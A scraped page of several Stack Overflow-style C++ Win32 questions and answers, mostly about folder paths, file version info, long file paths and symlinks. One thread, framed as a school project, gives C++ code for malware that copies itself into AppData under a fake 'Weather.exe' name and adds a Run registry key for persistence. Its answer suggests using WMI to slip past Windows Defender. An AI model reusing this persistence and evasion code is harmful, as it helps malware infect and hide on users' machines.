Get Document Directory - c++

I'm working on a little singleplayer cheat for a game and am planning on making it public, I have written the API and it all works well but I want to save the data that the user enters to a .ini file so that they will only have to log in one time unless their credentials change. I have done this and it works with a relative path C:\Users\Name\Documents\Cheat\Authorise.ini Although When check the result, it doesn't seem to save nor read the data in the file.
I'm wondering if there is a better way to get the Documents Directory.
Function:
std::string authFile = "C:\\Users\\%USERNAME%\\Documents\\Cheats\\Authorise.ini";
std::string username = GUI::Files::ReadStringFromIni(authFile, "Login", "Username");
std::string password = GUI::Files::ReadStringFromIni(authFile, "Login", "Password");`

Since you're on Windows, you should use the Windows API call available for this very purpose in <ShlObj.h> called SHGetKnownFolderPath. Note that you had best use a std::wstring instead for this purpose, since there is no variant of SHGetKnownFolderPath that accepts an MBCS or ANSI string. Also, this will get you the entire path to the user's profile directory, not just the username.
PWSTR path;
SHGetKnownFolderPath(FOLDERID_Documents, KF_FLAG_DEFAULT, NULL, &path);
std::wstring strpath(path);
CoTaskMemFree(path);
Also, once you're done with path, free it with CoTaskMemFree.

Different versions of Windows store user profiles in different locations, and even the default name of the Documents folder can differ. In fact, the name and location of the user's Documents folder is fully customizable by the user, and may not even be located under the user's profile at all. So, you should not assume the Documents folder is always located at C:\\Users\\%USERNAME%\\Documents.
The best way to get the correct path to a user's Documents folder on all versions of Windows is to simply ask Windows itself. Use SHGetFolderPath(CSIDL_MYDOCUMENTS) (pre-Vista) or SHGetKnownFolderPath(FOLDERID_Documents) (Vista+) for that, eg:
#include <shlobj.h>
#include <shlwapi.h>
std::string GetDocumentsFolder()
{
std::string path;
char szPath[MAX_PATH+1] = {};
if (SHGetFolderPathA(NULL, CSIDL_MYDOCUMENTS, NULL, SHGFP_TYPE_CURRENT, szPath) == S_OK)
path = PathAddBackslashA(szPath);
/*
PWSTR pPath = NULL;
if (SHGetKnownFolderPath(FOLDERID_Documents, KF_FLAG_DEFAULT, NULL, &pPath) == S_OK)
{
int wlen = lstrlenW(pPath);
int len = WideCharToMultiByte(CP_ACP, 0, pPath, wlen, NULL, 0, NULL, NULL);
if (len > 0)
{
path.resize(len+1);
WideCharToMultiByte(CP_ACP, 0, pPath, wlen, &path[0], len, NULL, NULL);
path[len] = '\\';
}
CoTaskMemFree(pPath);
}
*/
return path;
}
std::string GetAuthFilePath()
{
std::string path = GetDocumentsFolder();
if (!path.empty())
path += "Cheats\\Authorise.ini";
return path;
}
std::string authFile = GetAuthFilePath();
...

Related

Avoid Antivirus detection C++

For a school project, I'm developing a tiny malware that replicate itself and autorun with reg keys.
I want my program to set a reg key to autorun but when I do it Windows defender detect the RegSetValueExA function from windows.h. I also want my program to execute without administrator privilege.
My teacher told me that it's possible to avoid the detection. I have to detect when WD look at my program and tell it to stop/sleep while WD perform the scan. He also told me that it's possible to disable WD with powershell. But I don't really know how to it.
Here's the code that triggers Windows Defender:
void Victim::replicateNpersist()
{
char filename[ MAX_PATH ];
// Declaration of the directory that contain the malware
string Dir = "C:\\Users\\"+string(c_user)+"\\AppData\\Local\\WeatherChannel";
int LDir = Dir.length();
char dirPath[LDir+1];
strcpy(dirPath, Dir.c_str());
// Declaration of the object to copy
string Dest = "C:\\Users\\"+c_user+"\\AppData\\Local\\WeatherChannel\\Weather.exe";
int LDest = Dest.length();
char newLocation[LDest+1];
strcpy(newLocation,Dest.c_str());
// Creation of directory
CreateDirectoryA(dirPath, NULL);
BOOL stats=0;
DWORD size = GetModuleFileNameA(NULL, filename, MAX_PATH);
CopyFileA(filename, newLocation, stats);
// Persistence
HKEY hKey;
LPCSTR keyPath = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";
LONG lnRes = RegOpenKeyExA(HKEY_CURRENT_USER, keyPath,0,KEY_WRITE,&hKey);
if(lnRes == ERROR_SUCCESS) {
RegSetValueExA(hKey,"Weather.exe", 0, REG_SZ,(LPBYTE)newLocation,strlen(newLocation)+1);
}
}
Try to create your registry key in another manner. Like a lot of true malware, you can try to use StdRegProv class through WMI :
Getting value from an OUT parameter in WMI in C++
https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf

C++ Win32 - Getting App Name using PID and Executable Path

I'd like to get the name of an application on Windows.
Currently I'm using EnumProcesses() to enumerate all processes and receive a list of PIDs.
Then I'm looping through all PIDs, each iteration looks like this, when aProcess[i] is the current PID:
HANDLE proc = OpenProcess(PROCESS_ALL_ACCESS | PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, false, aProcesses[i]);
std::string processName = get_process_name(proc);
My get_process_name(proc) function uses GetModuleFileNameEx to get the executable path and GetProcessImageFileName in order to retrieve the name of the executable file.
What I want to retrieve is basically the App Name, as it is displayed in the Windows Task Manager.
I've looked throughout Win32 API's documentation and could not find a clue on how to achieve this.
I've tried looking for other ways such as Windows Shell tasklist but it outputs different things, for example- Google Chrome:
Image Name: chrome.exe PID: 84 Session Name: Console
I'd really appreciate any thought on the matter, whether it be the Win32 API or some other way I can implement through C++ code.
You can do this with GetFileVersionInfoA and VerQueryValueA.
You just need to follow the example given in the VerQueryValueA document.
Here is my sample:
struct LANGANDCODEPAGE {
WORD wLanguage;
WORD wCodePage;
} *lpTranslate;
int main()
{
HANDLE handle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION , FALSE, 2140); //Modify pid to the pid of your application
if (!handle) return 0;
wchar_t pszFile[MAX_PATH] = L"";
DWORD len = MAX_PATH;
QueryFullProcessImageName(handle, 0, pszFile, &len);
UINT dwBytes, cbTranslate;
DWORD dwSize = GetFileVersionInfoSize(pszFile, (DWORD*)&dwBytes);
if (dwSize == 0) return 0;
LPVOID lpData = (LPVOID)malloc(dwSize);
ZeroMemory(lpData, dwSize);
if (GetFileVersionInfo(pszFile, 0, dwSize, lpData))
{
VerQueryValue(lpData,
L"\\VarFileInfo\\Translation",
(LPVOID*)&lpTranslate,
&cbTranslate);
wchar_t strSubBlock[MAX_PATH] = { 0 };
wchar_t* lpBuffer;
for (int i = 0; i < (cbTranslate / sizeof(struct LANGANDCODEPAGE)); i++)
{
StringCchPrintf(strSubBlock,50,
L"\\StringFileInfo\\%04x%04x\\FileDescription",
lpTranslate[i].wLanguage,
lpTranslate[i].wCodePage);
VerQueryValue(lpData,
strSubBlock,
(void**)&lpBuffer,
&dwBytes);
std::wcout << lpBuffer << std::endl;
}
}
if(lpData) free(lpData);
if (handle) CloseHandle(handle);
return 0;
}
And it works for me:
I think what you want are the "version" resources embedded in the PE file (the executables.)
You seem to be familiar with using Win32 API, so I'm just going to give you some hints.
You have to use LoadLibraryEx to load the EXE file (the Ex suffix is to enable passing the LOAD_LIBRARY_AS_DATAFILE flag,) and then call EnumResourceTypes (also see EnumResourceNames) to enumerate all the resource types/resources in the file, and find what you are looking for and then extract the data with LoadResource. The resource type you want is RT_VERSION.
I'm sure I'm omitting a lot of details (as per usual for Win32 programming,) and there might not be a need for enumeration at all; in which case you may want to call FindResource or FindResourceEx directly (if there is a fixed name for this particular resource.)
As further clarification, this gives you the date you see if you right-click on the EXE file (not the shortcut) in Windows Explorer and select "Properties", then go to the "Details" tab. If that information is indeed what you want (e.g. the "File description" field) then the above method should give you the data.

How can I create a file when file path name is over 255 characters using MFC in Windows?

I am working in Windows,using vc++2010 and MFC.
Following is my code:
CFile File;
TCHAR lpCause[1024];
CFileException eException;
CString strErrorMessage;
// a very long file path name means a file name over 255 characters
if (!File.Open(_T("a very long file path name"), CFile::modeCreate, &eException))
{
eException.GetErrorMessage(lpCause, 1024);
strErrorMessage = lpCause;
}
else
File.Close();
When I run the code, I got error message:"a very long file path name contains an incorrect path".
My questions are:
How to modify my code to make it work?
I learn that CreateFile() function can add "\\\\?\" in the beginning of file path, then it will extend this limit to 32767 wide characters.How can I do the same thing in MFC?
Cause
In the source of CFile::Open(), there is an explicit check if the path length exceeds _MAX_PATH:
if (lpszFileName != NULL && SUCCEEDED(StringCchLength(lpszFileName, _MAX_PATH, NULL)) )
If _MAX_PATH is exceeded, the function sets pException->m_cause = CFileException::badPath and returns FALSE.
This is true even for the MFC version that comes with VS2017.
So the standard technique to circumvent the _MAX_PATH limit, that is prefixing the path with \\?\ won't work.
Possible Solutions
Call CreateFileW() directly to pass it a path with \\?\ prefix. Use the CFile constructor that accepts a HANDLE to manage the file through a CFile object. The CFile object will take ownership of the handle so you must not call CloseHandle() on the handle.
HANDLE hFile = CreateFileW( L"\\\\?\\a very long file path name", GENERIC_WRITE, 0, nullptr, CREATE_ALWAYS, 0, NULL );
if( hFile != INVALID_HANDLE_VALUE )
{
// Manage the handle using CFile
CFile file( hFile );
// Use the file...
// The CFile destructor closes the handle here.
}
else
{
DWORD err = GetLastError();
// TODO: do your error handling...
}
Another possibility is to derive a class from CFile that overrides CFile::Open() (which is virtual). For the implementation copy/paste the MFC source, but leave out the _MAX_PATH check. For a big project, this class could be a drop-in replacement for CFile to enable long paths. You could even go so far to prepend the \\?\ prefix if it isn't already there (but that is more involved as the prefix also disables the regular transformations from a Win32 path to a NT-style path, like converting / to \, resolving dots and so on).

How to write to temporary folder

I am trying to write a file to the temporary folder, but it is not being executed properly. When I later go in the code to call this, it references the correct location, but says it does not exist. Any Ideas as to what I am doing wrong?
ofstream fout("%TEMP%\\test.bat");
fout << "cd C:\\Users\\jrowler\\Documents" << endl;
//Some more fout commands to write to bat
fout.close();
wchar_t cmdline[] = L"cmd.exe /C %TEMP%\\test.bat";
if (!CreateProcess(NULL, cmdline, NULL, NULL, false, CREATE_UNICODE_ENVIRONMENT,
(LPVOID)env.c_str(), NULL, &si, &pi))
{
std::cout << GetLastError();
abort();
}
Everything works if I am not trying to use the TEMP folder. If I wanted to put it on my desktop, it works perfectly fine. Any ideas why the environment variable does not work correctly when creating, but when trying to create the process, it give me an error that references the correct location specified by the environment variable.
As Retired Ninja points out, you may want to translate the environment variable, if you choose to use an environment variable.
In addition, there are other methods for special folders. In fact, the temp folder has a dedicated function - GetTempPath().
DWORD const bufferSize = ::GetTempPath(0u, nullptr) + 1u; // get the necessary buffer size
ASSERT(bufferSize);
wchar_t* buffer = new wchar_t[bufferSize];
std::memset(buffer, 0x00, bufferSize);
VERIFY(::GetTempPath(bufferSize, &buffer[0u]));
// [ perform various logic ]
delete[] buffer;
For other special folders, you may choose to use the Shell API.
SHGetFolderPath() and SHGetKnownFolderPath() work well across various versions of windows, wherever the target folder may be located. And there are a tremendous number of folders.
wchar_t folder[MAX_PATH+1];
int const folderId = ... // <-- defined in Shlobj.h
HRESULT const hr = ::SHGetFolderPath(nullptr, folderId, nullptr, SHGFP_TYPE_CURRENT, folder);
if (S_OK != hr)
{
TRACE("ERROR: Unable to get folder path.");
return false;
}
// [ perform various logic ]
wchar_t* folder = nullptr;
KNOWNFOLDERID const folderId = ... // <-- defined in KnownFolder.h
HRESULT const hr = ::SHGetKnownFolderPath(folderId, 0u, nullptr, &folder);
if (S_OK != hr)
{
TRACE("ERROR: Unable to get folder path.");
return false;
}
// [ perform various logic ]
::CoTaskMemFree(folder);
EDIT: There is an example specifically for creating and using a temp file.
EDIT2: Note that TEMP/TMP environment variables may be slightly different on various systems. However they should be the same value. Look at the 'remarks' section of GetTempPath() to see how the path is determined.

Best way to get volume name of symbolic link target [NTFS]

I want a reliable way to get the volume name of a symbolic link's target that isn't super complicated.
So it looks like the FILE_NAME_INFO structure does not contain any info about the volume the file resides on. I am able to obtain the path of symlink targets from this structure, but for now I just assume the target resides on the same volume. However, I know symlinks permit targets on other volumes.
#include <windows.h>
#include <stdio.h>
#include <tchar.h>
#include <ole2.h>
struct FILE_NAME_INFO_AND_BUF {
FILE_NAME_INFO fni;
WCHAR buf[260];
};
WCHAR* getReparseTarget(WCHAR* linkFileName) {
HANDLE hFile;
WCHAR *szGuid = (WCHAR *)malloc(sizeof(WCHAR) * MAX_PATH);
BOOL result;
FILE_NAME_INFO_AND_BUF fnib = { 0 };
hFile = ::CreateFile(linkFileName, FILE_READ_ATTRIBUTES,
FILE_SHARE_READ |
FILE_SHARE_WRITE,
0,
OPEN_EXISTING,
FILE_FLAG_BACKUP_SEMANTICS, 0);
if (hFile == INVALID_HANDLE_VALUE) {
::CloseHandle(hFile);
return NULL;
}
result = ::GetFileInformationByHandleEx(hFile, FileNameInfo, &fnib, sizeof(fnib));
if (!result) {
fprintf(stderr, "GetFileInformationByHandleEx Error %d\n", ::GetLastError());
::CloseHandle(hFile);
return NULL;
}
WCHAR *targetFileName = (WCHAR *)malloc(sizeof(WCHAR) * MAX_PATH);
wmemset(targetFileName, 0, MAX_PATH);
wcsncpy(targetFileName, linkFileName, 2);
wcscat(targetFileName, fnib.fni.FileName);
return targetFileName;
}
As you can see I'm cheating and getting the volume name, in this case the drive letter, from the input string, but this wouldn't work if the target was on another volume. Also I'd prefer obtaining the volume name with the GUID e.g. \\?\Volume{f993747a-5d7a-4de1-a97a-c20c1af1ba02}\ in it than the drive letter e.g. C:\
The absolute simplest way, as long as you can target Vista or later, is to use the GetFinalPathNameByHandle function.
If you need to target XP as well then you can find a symlink's target by opening the link itself (not the file it points to) using the FILE_FLAG_OPEN_REPARSE_POINT flag, and then use the FSCTL_GET_REPARSE_POINT IO control code to find the target of the link.
Because a link's target can potentially contain other links (up to a maximum of 31 I believe), you have to do this on every element of the path to be sure you've found the final target.